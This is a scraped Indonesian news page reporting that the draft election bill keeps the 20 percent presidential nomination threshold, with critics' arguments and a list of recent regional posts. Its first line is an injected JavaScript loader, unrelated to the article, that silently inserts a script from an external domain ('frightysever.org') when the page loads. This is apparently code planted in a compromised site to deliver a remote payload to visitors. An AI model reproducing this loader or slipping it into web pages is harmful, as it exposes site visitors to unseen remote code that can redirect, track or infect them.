(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Ambang Batas Pencalonan Presiden di RUU Pemilu Tetap 20 Persen


KANALKALIMANTAN.COM, JAKARTA– Draf Rancangan Undang-undang (RUU) Pemilu tetap mencantumkan ambang batas presiden atau presidential treshold 20 persen. Angka ini tak berubah dari ketentuan UU No. 7 Tahun 2017 tentang Pemilu.

Presidential treshold sendiri merupakan syarat minimal jumlah suara atau kursi partai politik di parlemen yang harus dikumpulkan oleh calon presiden-wakil presiden untuk bisa maju di pemilu presiden.

“Pasangan Calon Presiden dan Wakil Presiden diusulkan oleh Partai Politik atau Gabungan Partai Politik Peserta Pemilu yang memenuhi persyaratan perolehan kursi paling sedikit 20% (dua puluh persen) dari jumlah kursi DPR atau memperoleh 25% (dua lima persen) dari suara sah secara nasional pada Pemilu anggota DPR sebelumnya,” bunyi pasal 187 draf RUU Pemilu.

Ambang batas presiden sendiri kerap mengundang pro-kontra. Aktivis pemilu selama ini menghendaki agar presidential treshold ditetapkan sebesar 0 persen.

Komisioner Komisi Pemilihan Umum (KPU) Pramono Ubaid Tanthowi mengusulkan agar presidential treshold dikurangi. Ia mengatakan ambang batas tinggi memiliki banyak dampak buruk, salah satunya masyarakat menjadi terbelah lantaran hanya ada dua pasang calon.

Ketentuan ambang batas itu sendiri sudah beberapa kali digugat ke Mahkamah Konstitusi (MK) meski itu ujungnya ditolak. Salah satunya ialah permohonan uji materi pasal 222 UU Nomor 7 Tahun 2017 tentang Pemilu yang dimohonkan oleh politikus Rizal Ramli dkk.

Alasan gugatan itu, katanya, ambang batas presiden membuat negara dikuasai segelintir elite. Pasalnya, hanya sedikit orang yang bisa membuat parpol untuk mengusungnya dalam Pilpres, yang tak menutup kemungkinan melibatkan politik uang.

Alhasil, akan ada simbiosis dengan ‘cukong’ yang bisa membiayai pencalonan itu. Jika menang, politikus tersebut hanya akan mengeluarkan kebijakan yang menguntungkan pendananya itu.(Kanalkalimantan.com/cnni)

Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.